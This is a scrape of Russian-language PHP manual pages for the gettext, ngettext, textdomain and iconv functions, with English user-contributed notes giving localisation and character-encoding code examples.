(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
suchy(d)ivan(a)gmail.com 10-Dec-2005 04:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

<?php
$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');
?>

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl 31-Oct-2005 01:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com 30-Aug-2005 07:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
adino at adino dot sk 20-May-2003 07:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
jespersaNOSPAM at diku dot NO_SPAM dot dk 05-May-2002 05:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

<?php
putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));
?>

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
iguy at ionsphere dot org 04-Mar-2001 08:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be

<?php

// Set language to German
putenv ("LANG=de");

// set the locale into the instance of gettext
setlocale(LC_ALL, "");

// Specify location of translation tables
bindtextdomain ("myPHPApp", "./locale");

// Choose domain
textdomain ("myPHPApp");

// Print a test message
print (gettext ("Welcome to My PHP Application"));
?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".


Версия gettext для сообщений во множественном числе

  • « gettext
  • textdomain »
  • PHP Manual
  • Функции gettext
  • Версия gettext для сообщений во множественном числе

ngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ngettext — Версия gettext для сообщений во множественном числе

Описание

ngettext(string $singular, string $plural, int $count): string

Версия gettext() для сообщений во множественном числе. Некоторые языки имеют больше одной формы сообщения для разных значений количества.

Список параметров

singular

Идентификатор сообщения в единственном числе.

plural

Идентификатор сообщения во множественном числе.

count

Число (например количество элементов) для определения, какую грамматическую форму использовать.

Возвращаемые значения

Возвращает корректную форму сообщения во множественном числе, идентифицируемых по параметрам singular и plural для количества count.

Примеры

Пример #1 Пример использования ngettext()

<?php

setlocale(LC_ALL, 'ru_RU');
printf(ngettext("%d window", "%d windows", 21), 21); // 21 окно
printf(ngettext("%d window", "%d windows", 22), 22); // 22 окна
printf(ngettext("%d window", "%d windows", 25), 25); // 25 окон

?>

User Contributed Notes

Mike Robinson 17-Jun-2013 08:40
Even though "hek at theeks dot net"'s answer is valid, I would not recommend using the abs() hack recommended. Even though it is by far the most common, not all languages treat (n != 1) as plural. Other languages are much more complex, for example, here is how you determine plurals in Macedonian.

n==1 || n%10==1 ? 0 : 1

In Arabic there are actually 5 different types of plurals:

n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 ? 4 : 5

If you are using only specific languages that use the (n != 1) format AND -1 is singular, by all means, use abs(), but be careful and don't forget that you have done this when adding a new language to your project 3 years down the road.
hek at theeks dot net 19-Aug-2009 11:07
Beware of one difference between the GNU gettext API and the PHP binding of it, which is that the GNU gettext functions that accept a $count parameter all expect (indeed, being compiled C, require) that $count be unsigned, while the PHP binding does not.

Thus, the PHP gettext functions will happily accept negative numbers. The one potentially irritating consequence of this is that -1 is treated as plural, which sits well with some people and not so well with others.  (As a picky native speaker of English, my personal opinion is that both "the temperature is minus one degree Fahrenheit" and "four apples minus five apples leaves minus one apple" but others may feel that "four apples minus five apples leaves minus one apples" sounds better.)

The upshot: You may want to abs($count) before passing numbers to gettext.

Bonus points: If your application includes user preferences, you might offer a "treat -1 as singular" option to your users, then choose $count or abs($count) to pass to gettext based on each user's preference.
peter at ints dot net 14-Dec-2008 11:26
Example for russian lang:
file.po:
    ...
    "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
    ...
    msgid "File"
    msgid_plural "Files"
    msgstr[0] "Файл"
    msgstr[1] "Файла"
    msgstr[2] "Файлов"
    ...

file.php
    ...
    echo ngettext("File", "Files", $number);
    ...
kontakt at somplatzki dot de 25-May-2007 02:47
It's useful to know how the .po-file has to look like when using ngettext:

msgid "item"
msgid_plural "items"
msgstr[0] "Produkt"
msgstr[1] "Produkte"

In php:

echo ngettext('item', 'items', $number);
tokul at users dot sourceforge dot net 10-Dec-2006 03:56
According to GNU gettext manual third argument is unsigned long integer. It must be positive number. If n is negative, it might be evaluated incorrectly in some languages.
mike-php at emerge2 dot com 03-Nov-2004 12:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)


Устанавливает домен по умолчанию

  • « ngettext
  • iconv »
  • PHP Manual
  • Функции gettext
  • Устанавливает домен по умолчанию

textdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

textdomain — Устанавливает домен по умолчанию

Описание

textdomain(?string $domain): string

Данная функция устанавливает домен, в котором будет производиться поиск при вызове функции gettext(), обычно называется именем приложения.

Список параметров

domain

Новый домен сообщений, или null для получения текущего значения без его изменения.

Возвращаемые значения

В случае успешного выполнения функция возвращает текущий домен сообщений, после возможного его изменения.

Примечания

Замечание:

Информация textdomain() сохраняется для каждого процесса, а не для потока.

User Contributed Notes

ninja (without a) at informance dot dot dot info 14-Oct-2010 09:00
When you set a text domain, it (obviously) erases the previous one.

This can be a problem when you use nested includes in which there can be textdomain() calls with different text domains. After returning from the include, your textdomain is changed, and the rest of the parent script fails in translating the remaining sentences.

I wrote these two small functions to avoid that. You should put the whole code into a file which you require_once in every script that needs gettext functionalities. Then, use only set_textdomain() and restore_textdomain() at the beginning and the end of every script/function that sets a text domain.

A call to set_textdomain() MUST correspond to a call to restore_textdomain(), and there is no limit in how many nested calls are done.

One optimization is done here: when the new text domain is the same as the current one, no change is made, and restore_textdomain() will be aware of this so you can still call it safely.

<?php
$_td_stack = array(); // text domains stack

/**
 * Sets a new text domain after recording the current one
 * so it can be restored later with restore_textdomain().
 *
 * It's possible to nest calls to these two functions.
 * @param string the new text domain to set
 */
function set_textdomain($td)
{
    global $_td_stack;

    $old_td = textdomain(NULL);

    if ($old_td)
    {
        if (!strcmp($old_td, $td))
        {
            array_push($_td_stack, false);
        }
        else
        {
            array_push($_td_stack, $old_td);
        }
    }

    textdomain($td);
}

/**
 * Restore the text domain active before the last call to
 * set_textdomain().
 */
function restore_textdomain()
{
    global $_td_stack;

    $old_td = array_pop($_td_stack);

    if ($old_td)
    {
        textdomain($old_td);
    }
}
?>
ipso at snappymail dot ca 27-Apr-2007 11:26
I was having very strange issues with gettext only setting the locale once per Apache process (non-threaded), until I found this bug report:

http://bugs.php.net/bug.php?id=21965

It almost seemed like gettext was caching the data once per process, but in fact calling textdomain() fixed the issue for me.


iconv

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции iconv
    • iconv_get_encoding — Получает текущее значение настроек преобразования кодировок
    • iconv_mime_decode_headers — Декодирует несколько полей заголовка MIME
    • iconv_mime_decode — Декодирует поле MIME-заголовка
    • iconv_mime_encode — Создаёт поле MIME-заголовка
    • iconv_set_encoding — Устанавливает текущей настройки для преобразования символов кодировки
    • iconv_strlen — Возвращает количество символов в строке
    • iconv_strpos — Возвращает позицию первого вхождения подстроки
    • iconv_strrpos — Возвращает позицию последнего вхождения подстроки
    • iconv_substr — Получение части строки
    • iconv — Преобразует строку из одной кодировки символов в другую
    • ob_iconv_handler — Преобразует символы из текущей кодировки в кодировку выходного буфера

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль предоставляет интерфейс к библиотеке преобразования кодировок iconv. При помощи данного модуля возможно изменение кодировки строки на другую поддерживаемую. Набор поддерживаемых кодировок зависит от реализации iconv в вашей системе. На некоторых платформах iconv может работать неправильно, в таких случаях рекомендуется установить библиотеку » GNU libiconv, т.к. она лучше преобразует строки.

В этот модуль добавлены некоторые вспомогательные функции, удобные при работе с несколькими языками. Обратите внимание на следующие разделы для изучения новых особенностей.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Операционные системы, отвечающие стандартам POSIX, поставляются с C-библиотеками, предоставляющими функциональность iconv. Если ваша система в этот список не входит, вам нужно установить библиотеку » libiconv.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль включён по умолчанию, чтобы его отключить, используйте опцию --without-iconv.

Также может быть задана необязательная директива --with-iconv[=DIR] для указания альтернативного расположения iconv в системе, в которой компилируется PHP, иначе будет использовано расположение по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Iconv
Имя | По умолчанию | Место изменения | Список изменений
iconv.input_encoding | "" | PHP_INI_ALL | Устарело с PHP 5.6.0.
iconv.output_encoding | "" | PHP_INI_ALL | Устарело с PHP 5.6.0.
iconv.internal_encoding | "" | PHP_INI_ALL | Устарело с PHP 5.6.0.

Краткое разъяснение конфигурационных директив.

Внимание

Некоторые системы (например IBM AIX) используют "ISO8859-1" вместо "ISO-8859-1", поэтому это значение должно быть указано в настройках и параметрах функции.

iconv.input_encoding string
Внимание

Данная возможность была объявлена УСТАРЕВШЕЙ, начиная с PHP 5.6.0. Крайне не рекомендуется полагаться на эту возможность в будущем.

В PHP 5.6 и новее нужно оставлять эту опцию пустой и использовать вместо неё input_encoding.

iconv.output_encoding string
Внимание

Данная возможность была объявлена УСТАРЕВШЕЙ, начиная с PHP 5.6.0. Крайне не рекомендуется полагаться на эту возможность в будущем.

В PHP 5.6 и новее нужно оставлять эту опцию пустой и использовать вместо неё output_encoding.

iconv.internal_encoding string
Внимание

Данная возможность была объявлена УСТАРЕВШЕЙ, начиная с PHP 5.6.0. Крайне не рекомендуется полагаться на эту возможность в будущем.

В PHP 5.6 и новее нужно оставлять эту опцию пустой и использовать вместо неё default_charset.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Возможно узнать во время выполнения, какая реализация iconv используется модулем.

Константы реализации iconv
Имя | Тип | Описание
ICONV_IMPL | string | Реализация
ICONV_VERSION | string | Версия реализации

Замечание:

Используйте эти константы для написания сценариев, независимых от реализации.

Доступны также следующие константы:

Другие константы iconv
Имя | Тип | Описание
ICONV_MIME_DECODE_STRICT | int | Битовая маска, используемая в iconv_mime_decode()
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | int | Битовая маска, используемая в iconv_mime_decode()

User Contributed Notes

There are no user contributed notes for this page.


Функции iconv

Смотрите также

Смотрите также Функции GNU Recode.

Содержание

  • iconv_get_encoding — Получает текущее значение настроек преобразования кодировок
  • iconv_mime_decode_headers — Декодирует несколько полей заголовка MIME
  • iconv_mime_decode — Декодирует поле MIME-заголовка
  • iconv_mime_encode — Создаёт поле MIME-заголовка
  • iconv_set_encoding — Устанавливает текущей настройки для преобразования символов кодировки
  • iconv_strlen — Возвращает количество символов в строке
  • iconv_strpos — Возвращает позицию первого вхождения подстроки
  • iconv_strrpos — Возвращает позицию последнего вхождения подстроки
  • iconv_substr — Получение части строки
  • iconv — Преобразует строку из одной кодировки символов в другую
  • ob_iconv_handler — Преобразует символы из текущей кодировки в кодировку выходного буфера

User Contributed Notes

Martin Petrov 19-Oct-2009 02:05
This is edited functions utf8_to_cp1251 and cp1251_to_utf8.
Changes: Check current string encoding.

<?php
function cp1251_to_utf8($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "WINDOWS-1251")
    {
    $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
    for($i=0; $i<strlen($s); $i++)
      {
      $c=ord($s[$i]);
      if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
      elseif ($c>239) $t.=$c209.chr($c-112);
      elseif ($c==184) $t.=$c209.$c209;
      elseif ($c==168)    $t.=$c208.$c129;
      else $t.=$s[$i];
      }
    return $t;
    }
  else
    {
    return $s;
    }
   }

function utf8_to_cp1251($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "UTF-8")
    {
    for ($c=0;$c<strlen($s);$c++)
      {
      $i=ord($s[$c]);
      if ($i<=127) $out.=$s[$c];
      if ($byte2)
        {
        $new_c2=($c1&3)*64+($i&63);
        $new_c1=($c1>>2)&5;
        $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025)
          {
          $out_i=168;
          } else {
          if ($new_i==1105)
            {
            $out_i=184;
            } else {
            $out_i=$new_i-848;
            }
          }
        $out.=chr($out_i);
        $byte2=false;
        }
        if (($i>>5)==6)
          {
          $c1=$i;
          $byte2=true;
          }
      }
    return $out;
    }
  else
    {
    return $s;
    }
  }
?>
nod at mobi dot kz 17-Jul-2006 07:17
If you need convert string from Windows-1251 to 866. Some characters of 1251 haven't representation on DOS 866. For example, long dash -- chr(150) will be converted to 0, after that iconv finish his work and other charactes  will be skiped. Problem characters range in win1251 (128-159,163,165-167,169,171-174,177-182,187-190).

Use this:

//$text  -  input text in windows-1251
//$cout  -  output text in 866 (cp866, dos ru ascii)

for($i=0;$i<strlen($text);$i++) {
    $ord=ord($text[$i]);
    if($ord>=192&&$ord<=239) $cout.=chr($ord-64);
    elseif($ord>=240&&$ord<=255) $cout.=chr($ord-16);
    elseif($ord==168) $cout.=chr(240);
    elseif($ord==184) $cout.=chr(241);
    elseif($ord==185) $cout.=chr(252);
    elseif($ord==150||$ord==151) $cout.=chr(45);
    elseif($ord==147||$ord==148||$ord==171||$ord==187) $cout.=chr(34);
    elseif($ord>=128&&$ord<=190) $i=$i; //нет представления данному символу
    else $cout.=chr($ord);
}


Получает текущее значение настроек преобразования кодировок

  • « Функции iconv
  • iconv_mime_decode_headers »
  • PHP Manual
  • Функции iconv
  • Получает текущее значение настроек преобразования кодировок

iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_get_encoding — Получает текущее значение настроек преобразования кодировок

Описание

iconv_get_encoding(string $type = "all"): array|string|false

Возвращает внутренние параметры конфигурации модуля iconv.

Список параметров

type

Возможные значения необязательного параметра type:

  • all
  • input_encoding
  • output_encoding
  • internal_encoding

Возвращаемые значения

Возвращает текущее значение указанной переменной и false в случае возникновения ошибки.

Если type не указан или равен "all", iconv_get_encoding() вернёт массив со значениями всех переменных.

Примеры

Пример #1 Пример использования iconv_get_encoding()

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("input_encoding", "WINDOWS-1251");
iconv_set_encoding("output_encoding", "KOI8-U");
var_dump(iconv_get_encoding('all'));
?>
</pre>

Результат выполнения данного примера:

Array
(
    [input_encoding] => WINDOWS-1251
    [output_encoding] => KOI8-U
    [internal_encoding] => UTF-8
)

Смотрите также

  • iconv_set_encoding() - Устанавливает текущей настройки для преобразования символов кодировки
  • ob_iconv_handler() - Преобразует символы из текущей кодировки в кодировку выходного буфера

User Contributed Notes

There are no user contributed notes for this page.


Декодирует несколько полей заголовка MIME

  • « iconv_get_encoding
  • iconv_mime_decode »
  • PHP Manual
  • Функции iconv
  • Декодирует несколько полей заголовка MIME

iconv_mime_decode_headers

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode_headers — Декодирует несколько полей заголовка MIME

Описание

iconv_mime_decode_headers(string $headers, int $mode = 0, ?string $encoding = null): array|false

Декодирует несколько полей заголовка MIME за один раз.

Список параметров

headers

Закодированные заголовки в виде строки.

mode

Параметр mode определяет поведение, если iconv_mime_decode_headers() обнаружит неправильное поле заголовка MIME. Можно указать любую комбинацию следующих битовых масок.

Битовые маски iconv_mime_decode_headers()
Значение | Константа | Описание
1 | ICONV_MIME_DECODE_STRICT | Строго следовать стандартам, определённым в » RFC2047. Эта опция по умолчанию отключена, так как много проприетарных программ электронной почты не следуют стандартам и создают некорректные заголовки MIME.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | Если установлена, iconv_mime_decode_headers() будет пытаться игнорировать любые ошибки и продолжать обработку текущего заголовка.

encoding

Необязательный параметр encoding указывает кодировку, в которой будет представлен результат. Если опущен, будет использовано значение директивы iconv.internal_encoding.

Возвращаемые значения

В случае успешного выполнения возвращает ассоциативный массив с полями MIME-заголовков, указанных параметром headers, или false в случае возникновения ошибки.

Каждый ключ элемента возвращаемого массива представляет собой отдельное имя поля, а сам элемент - его значение. Если в заголовке существует несколько полей с одинаковым именем, iconv_mime_decode_headers() автоматически помещает их в подмассив с числовыми индексами в порядке их обработки. Обратите внимание, что имена заголовков не нечувствительны к регистру.

Список изменений

Версия | Описание
8.0.0 | encoding теперь допускает значение null.

Примеры

Пример #1 Пример использования iconv_mime_decode_headers()

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <example@example.com>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers = iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

Результат выполнения данного примера:

Array
(
    [Subject] => Prufung Prufung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

Смотрите также

  • iconv_mime_decode() - Декодирует поле MIME-заголовка
  • mb_decode_mimeheader() - Декодирует строку в MIME-заголовке
  • imap_mime_header_decode() - Декодировать элементы заголовка
  • imap_base64() - Декодировать текст закодированный BASE64
  • imap_qprint() - Преобразовать строку из формата "quoted-printable" в 8-битную строку

User Contributed Notes

TheConstructor 12-Jul-2010 12:07
If you need lower-case header-names (as I read the documentation case is not guranteed) try something like

<?php

$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");

$headers = array_combine(array_map("strtolower", array_keys($headers)), array_values($headers));

print_r($headers);
?>


Декодирует поле MIME-заголовка

  • « iconv_mime_decode_headers
  • iconv_mime_encode »
  • PHP Manual
  • Функции iconv
  • Декодирует поле MIME-заголовка

iconv_mime_decode

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode — Декодирует поле MIME-заголовка

Описание

iconv_mime_decode(string $string, int $mode = 0, ?string $encoding = null): string|false

Декодирует поле MIME-заголовка.

Список параметров

string

Закодированный заголовок в виде строки.

mode

mode задаёт режим поведения функции в случае, когда iconv_mime_decode() определит, что MIME-заголовок имеет недопустимую структуру. Режим задаётся комбинацией следующих битовых масок.

Битовые маски, применяемые в iconv_mime_decode()
Значение | Константа | Описание
1 | ICONV_MIME_DECODE_STRICT | Если задано, заголовок декодируется в полном соответствии со стандартом » RFC2047. Эта опция отключена по умолчанию, так как существует множество почтовых программ, которые не следуют спецификации и формируют некорректные с точки зрения стандарта MIME-заголовки.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | Если задано, iconv_mime_decode_headers() будет пытаться пропускать грамматические ошибки и продолжать обработку заголовка.

encoding

Необязательный аргумент encoding задаёт набор символов, в котором будет представлен результат. Если аргумент опущен, будет использоваться iconv.internal_encoding.

Возвращаемые значения

Возвращает декодированный MIME-заголовок в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | encoding теперь допускает значение null.

Примеры

Пример #1 Пример использования iconv_mime_decode()

<?php
// Выдаст в результате "Subject: Prufung Prufung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
0, "ISO-8859-1");
?>

Смотрите также

  • iconv_mime_decode_headers() - Декодирует несколько полей заголовка MIME
  • mb_decode_mimeheader() - Декодирует строку в MIME-заголовке
  • imap_mime_header_decode() - Декодировать элементы заголовка
  • imap_base64() - Декодировать текст закодированный BASE64
  • imap_qprint() - Преобразовать строку из формата "quoted-printable" в 8-битную строку

User Contributed Notes

Dirk Becker 26-Jul-2013 09:46
While creating a new webmailer, I had to coop with a lot of mails and only half of them were correct encoded!
Often the text is tagged as ISO but in real its UTF :/

After trying a lot of solutions and combination a found a way which seems to work for all our mails. Maybe its usefull to someone else too.

<?php

    function mime_encode($data)
    {
        $resp = imap_utf8(trim($data));

        if(preg_match("/=\?/", $resp))
            $resp = iconv_mime_decode($data, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, "ISO-8859-15");

        if(json_encode($resp) == 'null')
            $resp = utf8_encode($resp);

        return $resp;
    }

?>
koronci at aol dot com 19-Dec-2012 11:24
A simple and working solution for latin encoding supports Slovak, Czech, Russian ect.
<?php iconv("utf-8", "windows-1250", $SomeWeirdText); ?>

specially for those who strugle with imap_mime_header_decode
dido dot sevilla at gmail dot com 09-Mar-2005 08:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
    $data = imap_mime_header_decode($str);
    if (count($data) > 0) {
      // because iconv doesn't like the 'default' for charset
      $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
      return(iconv($charset, $charset, $data[0]->text));
    }
    return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.


Создаёт поле MIME-заголовка

  • « iconv_mime_decode
  • iconv_set_encoding »
  • PHP Manual
  • Функции iconv
  • Создаёт поле MIME-заголовка

iconv_mime_encode

(PHP 5, PHP 7, PHP 8)

iconv_mime_encode — Создаёт поле MIME-заголовка

Описание

iconv_mime_encode(string $field_name, string $field_value, array $options = []): string|false

Создаёт и возвращает корректное поле MIME-заголовка в виде строки вида:

Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
В примере выше "Subject" является именем поля, а часть строки, начиная с "=?ISO-8859-1?..." - его значение.

Список параметров

field_name

Имя поля.

field_value

Значение поля.

options

Есть возможность контролировать поведение функции iconv_mime_encode() посредством передачи массива с настройками в качестве третьего аргумента options. Возможные значения этого массива, поддерживаемые функцией iconv_mime_encode(), перечислены ниже. Обратите внимание, что имена элементов чувствительны к регистру символов.

Настройки, поддерживаемые в iconv_mime_encode()
Элемент | Тип | Описание | Значение по умолчанию | Пример
scheme | string | Задаёт, каким образом закодировать значение поля. Значением этого элемента может быть либо "B", либо "Q". "B" означает схему кодирования base64, а "Q" - quoted-printable. | B | B
input-charset | string | Задаёт, в какой кодировке представлены аргументы field_name и field_value. Если не задан, iconv_mime_encode() предполагает, что набор символов указан в ini-настройке iconv.internal_encoding. | iconv.internal_encoding | ISO-8859-1
output-charset | string | Задаёт набор символов, в котором будет представлен результирующий MIME-заголовок. | iconv.internal_encoding | UTF-8
line-length | int | Устанавливает максимальную длину строк заголовка. Если результирующий заголовок окажется длиннее этой величины, функция его разрежет на несколько строк в соответствии с » Форматом интернет сообщений - RFC2822. Если не задан, эта длина будет установлена 76 символов. | 76 | 996
line-break-chars | string | Задаёт последовательность символов, которые будут использоваться для завершения "разрезанных" строк заголовка, если заголовок окажется длиннее одной строки. Если не задан, будут использоваться символы "\r\n" (CR LF). Обратите внимание, что этот аргумент всегда обрабатывается как строка ASCII вне зависимости от значения input-charset. | \r\n | \n

Возвращаемые значения

Возвращает закодированное MIME-поле в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования iconv_mime_encode()

<?php
$preferences = array(
"input-charset" => "ISO-8859-1",
"output-charset" => "UTF-8",
"line-length" => 76,
"line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// Результат "Subject: =?UTF-8?Q?Pr=C3=BCfung=20Pr=C3=BCfung?="
echo iconv_mime_encode("Subject", "Prufung Prufung", $preferences);

$preferences["scheme"] = "B";
// Результат "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?="
echo iconv_mime_encode("Subject", "Prufung Prufung", $preferences);
?>

Смотрите также

  • imap_binary() - Конвертирует 8-битную строку в строку base64
  • mb_encode_mimeheader() - Кодирует строку для MIME-заголовка
  • imap_8bit() - Конвертирует 8-битную строку в строку в формате quoted-printable
  • quoted_printable_encode() - Преобразует 8-битную строку с помощью метода quoted-printable

User Contributed Notes

shaman_master at list dot ru 19-Feb-2020 07:36
From mail(): Lines should not belarger than 70 characters.  Not 76 and not 72!
cedric at gn dot apc dot org 13-Mar-2012 03:54
iconv_mime_encode() isn't directly suitable for encoding headers which include "specials" as described in RFC 1522 s4 & s5, for example
<?php
$mimeprefs = array ("scheme" => "Q",
                    "input-charset" => "utf-8",
                    "output-charset" => "utf-8",
                    "line-break-chars" => "\n");
$enc = iconv_mime_encode('From',  '"Real Name" <user@example.com>', $prefs);
?>
will wrongly attempt to encode the angle brackets.  To use the function in place of mb_encode_mimeheader(), instead you need to encode the words separately, removing the superfluous field name:

<?php
$encoded = "From: \"". preg_replace('/^:\s+/', '', iconv_mime_encode("", $real, $mimeprefs))."\" <$email>";
?>

Also, values of "line-length" greater than 76 would be illegal under RFC 1522 and resulting encoded words may not be recognised.  (Not tested, but 72 would be safer.)
markus AT birth MINUS online DOT de 19-May-2010 05:38
Looks like this function suffers from the same bug as mb_encode_mime() with long strings of non us-ascii characters. The function then returns false. This applies for utf-8 to utf-8 "conversion".

<?php
$subject = 'Вы находитесь здесь: Главная > продукт';

$prefs = array(
    'scheme' => 'Q',
    'input-charset' => 'UTF-8',
    'output-charset' => 'UTF-8',
    'line-length' => 76,
    'line-break-chars' => "\r\n",
);

echo 'Original: ' . $subject . PHP_EOL;
$enc = iconv_mime_encode( 'Subject', $subject, $prefs );
var_dump( $enc );  // will show bool(false)
?>

As a workaround, you could explode() the value on spaces and encode each word separately. Then remove the "Subject: " in front of the resulting strings and join() them with "\r\n " (don't forget the SPACE after the \n) as separator.


Устанавливает текущей настройки для преобразования символов кодировки

  • « iconv_mime_encode
  • iconv_strlen »
  • PHP Manual
  • Функции iconv
  • Устанавливает текущей настройки для преобразования символов кодировки

iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_set_encoding — Устанавливает текущей настройки для преобразования символов кодировки

Описание

iconv_set_encoding(string $type, string $encoding): bool

Изменяет значение указанной параметром type внутренней переменной конфигурации на encoding.

Список параметров

type

Значение type может быть одним из приведённых ниже:

  • input_encoding
  • output_encoding
  • internal_encoding

encoding

Набор символов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

